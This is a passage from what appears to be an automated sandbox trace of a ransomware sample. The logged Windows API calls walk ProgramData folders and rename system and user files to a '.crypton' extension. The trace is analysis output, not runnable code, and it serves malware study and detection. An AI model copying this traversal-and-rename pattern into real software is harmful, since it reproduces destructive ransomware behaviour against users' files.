ftLastWriteTime.dwLowDateTime=0xec3492e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0186.041] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.crypton" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf.crypton"), dwFlags=0x2) returned 1 [0186.046] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec4079c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec4079c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0186.338] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.crypton" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf.crypton"), dwFlags=0x2) returned 1 [0186.341] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racmetadata.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat.crypton" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racmetadata.dat.crypton"), dwFlags=0x2) returned 1 [0186.351] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat.crypton" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat.crypton"), dwFlags=0x2) returned 1 [0186.361] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racwmieventdata.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat.crypton" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racwmieventdata.dat.crypton"), dwFlags=0x2) returned 1 [0186.366] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec701540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec701540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0186.372] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec7276a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec7276a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0186.376] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec7276a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec7276a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0186.382] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec7276a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec7276a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0186.386] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec74d800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec74d800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0186.391] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec74d800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec74d800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0186.396] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec74d800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec74d800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0186.401] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec773960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec773960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0186.823] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.log"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log.crypton" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.log.crypton"), dwFlags=0x2) returned 1 [0186.830] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecb77e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecb77e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0186.833] GetFileType (hFile=0x20c) returned 0x1 [0186.837] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecb9dfe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecb9dfe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0186.843] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecb9dfe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecb9dfe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0186.850] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecb9dfe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecb9dfe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549950 [0186.860] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecbc4140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecbc4140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0186.874] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecbea2a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecbea2a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0187.227] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.crypton" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb.crypton"), dwFlags=0x2) returned 1 [0187.234] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecf56240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecf56240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0187.238] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xecf56240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecf56240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0187.239] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.crypton" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat.crypton"), dwFlags=0x2) returned 1 [0187.258] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xecf7c3a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecf7c3a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0187.311] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.crypton" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp.crypton"), dwFlags=0x2) returned 1 [0187.339] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.crypton" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp.crypton"), dwFlags=0x2) returned 1 [0187.346] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed060be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed060be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0187.352] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xed086d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed086d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0187.355] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed086d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed086d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0187.360] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\AIT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed086d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed086d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0187.364] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xed086d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed086d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0187.369] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed0acea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0acea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0187.378] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed0acea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0acea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0187.386] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\DRM\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xed0d3000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0d3000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0187.390] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xed0d3000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0d3000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0187.395] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed0d3000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0d3000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0187.400] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed0f9160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0f9160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0187.418] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml.crypton"), dwFlags=0x2) returned 1 [0187.435] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml.crypton"), dwFlags=0x2) returned 1 [0187.450] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml.crypton"), dwFlags=0x2) returned 1 [0187.463] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html.crypton"), dwFlags=0x2) returned 1 [0187.470] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xed1916e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed1916e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0187.629] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma.crypton"), dwFlags=0x2) returned 1 [0187.706] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma.crypton"), dwFlags=0x2) returned 1 [0187.757] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma.crypton"), dwFlags=0x2) returned 1 [0187.893] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma.crypton"), dwFlags=0x2) returned 1 [0187.952] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 05.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma.crypton" (normalized: 